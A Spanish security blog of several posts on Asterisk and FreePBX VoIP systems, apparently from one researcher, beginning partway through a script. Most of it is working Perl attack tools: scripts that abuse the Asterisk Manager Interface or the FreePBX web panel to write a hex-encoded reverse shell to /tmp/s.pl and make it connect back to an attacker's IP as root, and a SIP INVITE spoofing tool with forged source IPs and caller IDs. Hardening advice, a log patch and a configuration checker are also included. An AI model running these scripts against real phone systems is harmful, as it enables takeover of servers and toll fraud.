my $cmd6 = "dialplan add extension $exten,6,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd7 = "dialplan add extension $exten,7,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd8 = "dialplan add extension $exten,8,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd9 = "dialplan add extension $exten,9,system,\"$echo '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd10 = "dialplan add extension $exten,10,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $astman->send_action ({ Action => 'Command', Command => $cmd4 });
 $astman->send_action ({ Action => 'Command', Command => $cmd5 });
 $astman->send_action ({ Action => 'Command', Command => $cmd6 });
 $astman->send_action ({ Action => 'Command', Command => $cmd7 });
 $astman->send_action ({ Action => 'Command', Command => $cmd8 });
 $astman->send_action ({ Action => 'Command', Command => $cmd9 });
 $astman->send_action ({ Action => 'Command', Command => $cmd10 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub help {
print qq{
Usage: $0 -h <host> -u <user> -s <secret> [-c <command>|-cs -ip <ip>|-es]
== Options ==
-c <string>= Command to execute (ex: 'core show version')
-ip       = IP address to create dialplan for remote shell
-cs       = Create dialplan to write on disk a remote shell
-es       = Create dialplan to execute a remote shell
== Examples ==
\$$0 -h 192.168.0.1 -u admin -p supersecret -c 'sip show peers'
\$$0 -h 192.168.0.1 -u admin -p supersecret -cs -i 192.168.0.10
\$$0 -h 192.168.0.1 -u admin -p supersecret -es
};
exit 1;
}
init();

Y veámoslo en funcionamiento:

Captura de pantalla 2014-10-29 a las 19.40.48

Lanzamos un comando de prueba, por ejemplo, el mismo que antes para ver los usuarios registrados en el Asterisk:

Captura de pantalla 2014-10-29 a las 19.41.28

Creamos el primer plan de llamadas para grabar el script en disco:

Captura de pantalla 2014-10-29 a las 19.42.10

Tras crearlo, realizamos una llamada y quedará almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas para ejecutar el script:

Captura de pantalla 2014-10-29 a las 19.42.38

Ponemos el netcat a la escucha y realizamos la segunda llamada:

 

Captura de pantalla 2014-10-29 a las 19.43.09

 

Como podemos ver, no sólo hemos accedido al sistema, sino que además el servicio está ejecutándose como root, así que tenemos el control total de la máquina.

Conclusiones:

  • Nunca ejecutar un Asterisk como root
  • Si necesitamos el AMI, permitir únicamente los servicios necesarios y no la ejecución de comandos del sistema. Y sobre todo, filtrar las IPs que tienen acceso
  • No dejar una PBX accesible desde Internet, nunca
  • Mantener los sistemas siempre actualizados

Saludos

Sending fake auth for device XXX

Si administras  un Asterisk con conexión desde Internet seguro que habrás visto en los logs este mensaje muchísimas veces – por cierto, si tu Asterisk NO debe estar accesible desde Internet y ves esto en los logs o en la consola, ve revisando con urgencia la configuración de tu Router/Firewall 🙂

Lo normal es ver algo así en la consola:

Fake auth

Bueno, ¿y qué tiene esto de especial o de raro? Pues que la IP que aparece NO es la del atacante, sino la de nuestro servidor Asterisk. Esto la verdad es que deja fuera de juego a mucha gente; primero porque ver el mensaje intentando llamar a un número internacional ya acojona; y luego porque, como digo, la IP que aparece es la tuya y no la del atacante.

Mientras vas buscando en Google el por qué de este mensaje vas viendo la consola como van apareciendo más registros … y sin la IP, no puedes bloquear nada ni crear una regla en el fail2ban para automatizar el bloqueo de este tipo de ataques.

En las versiones más modernas de Asterisk parece que trae un módulo de seguridad que controla esto pero al menos en la 1.8, que sigue siendo de las más utilizadas, no hay manera de saber quien está intentando llamar desde tu sistema a coste cero (para él, claro).

Antes de ver la pésima solución, analizaremos por qué ocurre esto. Ya publiqué hace tiempo 2 entradas donde explicaba este tipo de ataques y donde ponía un script para ver si tu sistema era vulnerable. Las entradas son estas:

http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/

http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/

Y bueno, como los scripts siempre están en continua evolución, aquí va de nuevo, un poco mejorado:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.1
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>
 
use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
 
my $host = '';     		# host
my $port = '';     		# port
my $dst_number = '';   	# destination number
my $src_number = '';   	# source number
 
my $lport = "31337";
my $hip = "";
my $fakeip = "";
 
sub init() {
    if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
    # check params
    my $result = GetOptions ("h=s" => \$host,
                             "d=s" => \$dst_number,
                             "s=s" => \$src_number,
                             "ip=s" => \$fakeip,
                             "p=s" => \$port);
 
    help() if ($host eq "" || $dst_number eq "");
 
    $port = "5060" if ($port eq "");
    $src_number = "100" if ($src_number eq "");
    
	 $hip = inet_ntoa(inet_aton($host));
    $fakeip = $hip if ($fakeip eq "");
 
    invite($hip, $fakeip, $host, $port, $dst_number, $src_number);
 
    exit;
}
 
sub invite {
    my $ip = shift;
    my $fakeip = shift;
    my $host = shift;
    my $nport = shift;
    my $dst = shift;
    my $src = shift;
 
    my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);
 
    $lport = $sc->sockport();
 
    my $branch = &generate_random_string(71, 0);
    my $callerid = &generate_random_string(32, 1);
 
    my $msg = "INVITE sip:".$dst_number."@".$host.";transport=UDP SIP/2.0\n";
    $msg .= "Supported: \n";
    $msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
    $msg .= "Contact: $dst <sip:".$dst."@".$ip.":$lport>\n";
    $msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n";
    $msg .= "Call-id: ".$callerid."@".$fakeip."\n";
    $msg .= "Cseq: 1 INVITE\n";
    $msg .= "From: $src <sip:".$src."@".$fakeip.">;tag=ddb044893807095baf1cf07269f03118\n";
    $msg .= "Max-forwards: 70\n";
    $msg .= "To: <sip:".$dst."@".$host.">\n";
    $msg .= "Content-length: 123\n\n";
    $msg .= "v=0\n";
    $msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
    $msg .= "s=session\n";
    $msg .= "c=IN IP4 $ip\n";
    $msg .= "t=0 0\n";
    $msg .= "m=audio 2362 RTP/AVP 0\n\n";
 
    print $sc $msg;
 
    print "\nSending:\n=======\n$msg\n\n";
 
    my $data = "";
    my $server = "";
    my $useragent = "";
    my $line = "";
 
    LOOP: {
        while (<$sc>) {
            $line = $_;
 
            if ($line =~ /[Ss]erver/ && $server eq "") {
               $line =~ /[Ss]erver\:\s(.+)\r\n/;
 
               if ($1) {
                    $server = $1;
                }
            }
 
            if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
               $line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;
 
               if ($1) {
                    $useragent = $1;
                }
            }
 
            $data .= $line;
 
            if ($line =~ /^\r\n/) {
                last LOOP;
            }
        }
    }
 
    print "\nReceiving:\n=========\n$data\n\n";
}
 
sub generate_random_string {
    my $length_of_randomstring = shift;
    my $only_hex = shift;
    my @chars;
 
    if ($only_hex == 0) {
        @chars = ('a'..'z','0'..'9');
    }
    else {
        @chars = ('a'..'f','0'..'9');
    }
    my $random_string;
    foreach (1..$length_of_randomstring) {
        $random_string.=$chars[rand @chars];
    }
    return $random_string;
}
 
sub help {
    print qq{
Usage:  $0 -h <host> -d <dst_number> [options]
 
== Options ==
-d <integer>     = Destination number
-s <integer>     = Source number (default: 100)
-p <integer>     = Remote SIP port (default: 5060)
-ip <string>     = Fake IP (by default is the same as host)
 
== Examples ==
\$$0 -h 192.168.0.1 -d 100
\$$0 -h 192.168.0.1 -d 666666666 -s 200
\$$0 -h 192.168.0.1 -d 100 -ip 1.2.3.4
 
};
 
    exit 1;
}
 
init();

De hecho, lo que ocasionó el registro de la captura anterior fue esto:

$ perl sipinvite.pl -h sip3 -d 44123456789 -s 0044121212121

Y las nuevas opciones que trae el script son:

sipinvite.pl

Podemos jugar con los números origen y destino, e incluso realizar llamadas telefónicas alterando el Callerid, en caso de que el sistema no esté bien configurado (tal y como comento en las entradas de mi blog que he mencionado antes). La verdad es que ver la IP de tu sistema mosquea mucho, pero si pones una aleatoria puedes volver loco al pobre administrador:

$ perl sipinvite.pl -h sip3 -d 100 -ip 1.2.3.4

$ perl sipinvite.pl -h sip3 -d 100 -ip "VAIS A MORIR TODOS"


En realidad este mensaje, aunque asusta bastante, quiere decir que está todo bien configurado pero que hay un gracioso intentando mandar mensajes INVITE para realizar llamadas. En caso de que tuviéramos mal configurado nuestro sistema veríamos en la consola cómo se realiza una llamada saliente, como si la hubiera marcado un teléfono. Lo que nos están mandando para provocar este aviso es algo así:

Como solución tenemos 2 opciones. La primera es acostumbrarlos a ver el aviso por pantalla 🙂 … y la segunda es ‘retocar’ el código de Asterisk y recompilar. Para ello tendremos que buscar en channels/chan_sip.c el lugar donde nos muestra ese error y antes, hacer un print con la IP del atacante. Algo así:

        } else if (sip_cfg.alwaysauthreject) {
                res = AUTH_FAKE_AUTH; /* reject with fake authorization request */
                ast_log(LOG_NOTICE, "hacking attempt detected '%s'\n", ast_sockaddr_stringify_addr(addr));

Por lo que en nuestra consola veríamos lo siguiente:

 

Y ya con la IP del atacante podremos realizar el bloqueo correspondiente en nuestras IPTABLES o, mejor aún, crear una regla en Fail2ban que bloquee las IPs que aparezcan en el mensaje que hemos creado: hacking attempt detected ‘X.X.X.X’

Espero que os sirva. Saludos

 

¿Cómo de segura es tu FreePBX?

En el último post añadí los enlaces a la charla que impartí en la última RootedCon así como en la NoConName. También puse los scripts que utilicé para obtener una shell de forma automática uan vez que el panel de control ha sido comprometido. Pero la verdad es que dando una charla ofensiva siempre te queda un mal sabor de boca, así que he creado un pequeño script que verifica los fallos más gordos en la configuración de una FreePBX.

Realmente, tal y como comento en la charla, este tipo de plataformas tienen un gran problema de diseño y es muy difícil corregir ciertas cosas. Por ejemplo, si desde la web administramos el Asterisk, se crea la necesidad de permitir el acceso a la modificación de ficheros del sistema de VoIP, ya que es necesario reescribir ciertos archivos. Pero del mismo modo que mysql se ejecuta como root, ¿por qué no usamos diferentes usuarios para Asterisk y para Apache?, aunque a nivel de grupo luego permitamos la modificación de ciertos ficheros.

Por otro lado, al usar una FreePBX, Elastix o similar, nos hacemos muy cómodos ya que realmente no es necesario tener conocimientos ni de Linux ni de VoIP. Todo se realiza muy fácilmente desde el panel de control. Una reflexión que recomiendo leer es la que hace Elio Rojano en su blog, Sinologichttp://www.sinologic.net/blog/2011-11/mejor-editar-archivos-conf-que-interfaz-web.html

Bueno, pues aquí va el pequeño script, que por cierto he realizado de forma muy rápida por falta de tiempo, pero puede servir como base para ‘parchear’ algunas cosas que vienen por defecto en estas plataformas:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=
# FreePBX Security check
# -=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (aka Pepelux)
#
# <verdeguer@zoonsuite.com>

use Parse::Netstat qw(parse_netstat);
use IPTables::Parse;

sub init() {
	die("You must be root to run this script!\n\n") if (getpwuid($<) ne "root");

	my $output = `netstat -lnp  | grep -v -i listening`;
	my $res = parse_netstat output => $output;

	print "\nRunning services:\n----------------\n";
	print "Warning! Mysql (3306/tcp) is accessible from any address.Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:3306/);
	print "Warning! Asterisk Manager (5038/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5038/);
	print "Warning! SSH (22/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:22/);
	print "Warning! Http (80/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /\:\:\:80/);
	print "Warning! Tftp (69/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:69/);
	print "Warning! Asterisk (5060/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5060/);

	print "\nConfig files:\n------------\n";
	print "Warning! Root user can access by SSH. Consider using 'PermitRootLogin no'\n" if (ssh_root() eq 1);
	print "Warning! Asterisk modules running are not in the default folder. Check '/etc/asterisk/asterisk.conf'\n" if (asterisk_modules() eq 1);
	print "Warning! Asterisk Manager (AMI) is enabled. Is really necessary?\n" if (asterisk_manager() eq 1);
	print "Warning! Asterisk Manager (AMI) is accesible by everybody. Change 'permit' value to '127.0.0.1'\n" if (asterisk_manager_access() eq 1);

	print "\nPasswords:\n---------\n";
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/manager.conf'.\n" if (asterisk_manager_passwd() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/amportal.conf'.\n" if (asterisk_manager_passwd2() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/extensions_additional.conf'.\n" if (asterisk_manager_passwd3() eq 1);

	print "\nFirewall:\n--------\n";
	print "Warning! IPTables INPUT policy is 'ACCEPT'.\n" if (iptables() eq 'ACCEPT');

	print "\nAsterisk:\n--------\n";
	print "Warning! Allowguest is enabled. It's a good choise to set 'allowguest=no' in 'sip.conf'\n" if (allowguest() eq 0);
	my $ua = useragent();
	print "Warning! Useragent shows your FreePBX version: '$ua'. It's a good idea to change it to avoid intrusions based on new bugs\n" if ($ua ne '');
	my $ver = version();
	print "Warning! Your FreePBX version is too old ($ver). Consider upgrading your system\n" if ($ver < '2.10');
	print "Warning! There are asterisk modules with different creation date. Please revise '/use/lib/asterisk/modules' to check possible malwares\n" if (mods() > 1);

	print "\nSystem:\n------\n";
	my $apache = apache_user();
	print "Warning! Apache server is running as 'asterisk'. Consider creating a different user, for example, 'apache'\n" if ($apache eq 'asterisk');
	print "Warning! There are logs property of 'asterisk' user. It's a good idea that 'root' be the owner of these files\n" if (logs() > 0);
	my $sudo = sudoers();
	print "Warning! '$sudo' is allowed for 'asterisk' user without a password. It's possible to get 'root'\n" if ($sudo ne '');

	print "\n";

	unlink "/tmp/iptables.out";
	unlink "/tmp/iptables.err";
	unlink "/tmp/fpbx.version";
	unlink "/tmp/apache.user";
	unlink "/tmp/fpbx.logs";
	unlink "/tmp/fpbx.mods";
}

sub iptables {
        my $ipt_bin = '/sbin/iptables'; # can set this to /sbin/ip6tables

        my %opts = (
                'iptables' => $ipt_bin,
                'iptout'   => '/tmp/iptables.out',
                'ipterr'   => '/tmp/iptables.err',
                'debug'    => 0,
                'verbose'  => 0
        );

        my $ipt_obj = new IPTables::Parse(%opts)
        or die "[*] Could not acquire IPTables::Parse object";

        my $rv = 0;

        my $table = 'filter';
        my $chain = 'INPUT';

        $ipt_obj->default_drop($table, $chain);

        open (FILE_IPT, '/tmp/iptables.out');
        my $f = "";

        while (<FILE_IPT>) {
                chomp;
                $f .= "$_\n";
        }

        close (FILE_IPT);

        $f =~ /Chain\sINPUT\s\(policy\s([A-Z|a-z]*)\)/;

        return $1;
}

sub version {
        system("yum list freepbx.noarch |grep 'freepbx.noarch' > /tmp/fpbx.version");

        open (FILE_VER, '/tmp/fpbx.version');

        while (<FILE_VER>) {
                chomp;
                my $aux = $_;
                $aux =~ /freepbx\.noarch\s+\t+([\-|0-9|\.]*)\s+\t+/;
                $aux =~ /[a-z|\.|\s|\t]*([\-|0-9|\.]*)/;
                close (FILE_VER);

                return $1;
        }

        return "";
}

sub sudoers {
        open (FILE_SUD, '/etc/sudoers');

        while (<FILE_SUD>) {
                chomp;
                return 'nmap' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/nmap/ && $_ !~ /^#/);
                return 'yum' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/yum/ && $_ !~ /^#/);
        }

        close (FILE_SUD);

        return "";
}

sub apache_user {
        system("ps -ef | grep httpd | grep -v root | cut -d\" \" -f1 | uniq > /tmp/apache.user");

        open (FILE_APA, '/tmp/apache.user');
        my $aux = "";

        while (<FILE_APA>) {
                chomp;
                $aux = $_;
        }

        close (FILE_APA);

        return $aux;
}

sub logs {
        system("ls /var/log -laR | grep asterisk | wc | cut -d\" \" -f6 > /tmp/fpbx.logs");

        open (FILE_LOG, '/tmp/fpbx.logs');
        my $aux = "";

        while (<FILE_LOG>) {
                chomp;
                $aux = $_;
        }

        close (FILE_LOG);

        return $aux;
}

sub mods {
        system("ls -la /usr/lib/asterisk/modules | grep \".so\" | cut -d\":\" -f1 | cut -d\"r\" -f7 | cut -d\" \" -f2 | uniq | wc | cut -d\" \" -f7 > /tmp/fpbx.mods");

        open (FILE_MOD, '/tmp/fpbx.mods');
        my $aux = "";

        while (<FILE_MOD>) {
                chomp;
                $aux = $_;
        }

        close (FILE_MOD);

        return $aux;
}

sub allowguest {
        open (FILE, '/etc/asterisk/sip.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /allowguest\s*=\s*no/i && $_ !~ /^#/);
        }

        return 0;
}

sub useragent {
        open (FILE, '/etc/asterisk/sip_general_additional.conf');

        while (<FILE>) {
                chomp;
                my $aux = $_;

                if ($aux =~ /useragent\s*=\s*fpbx-/i && $_ !~ /^#/) {
                        $aux =~ /useragent\s*=\s*([a-z|A-Z|\-|0-9|\.|\(|\)]*)/;
                        return $1;
                }
        }

        return '';
}

sub ssh_root {
        open (FILE, '/etc/ssh/sshd_config');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /permitrootlogin\s*no/i && $_ !~ /^#/);
        }

        return 1;
}

sub asterisk_modules {
        open (FILE, '/etc/asterisk/asterisk.conf');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /astmoddir\s*=>\s*\/usr\/lib\/asterisk\/modules/i);
        }

        return 1;
}

sub asterisk_manager {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /enabled\s*=\s*yes/i && $_ !~ /^;/);
        }

        return 0;
}

sub asterisk_manager_access {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /permit\s*=\s*0\.0\.0\.0/i);
        }

        return 0;
}

sub asterisk_manager_passwd {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /secret\s*=\s*amp/i);
        }

        return 0;
}

sub asterisk_manager_passwd2 {
        open (FILE, '/etc/amportal.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

sub asterisk_manager_passwd3 {
        open (FILE, '/etc/asterisk/extensions_additional.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

init();

Y el resultado del script (haz click en la imagen para agrandarla):

freepbx_chk

Un saludo

FreePBX for Fun & Profit

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
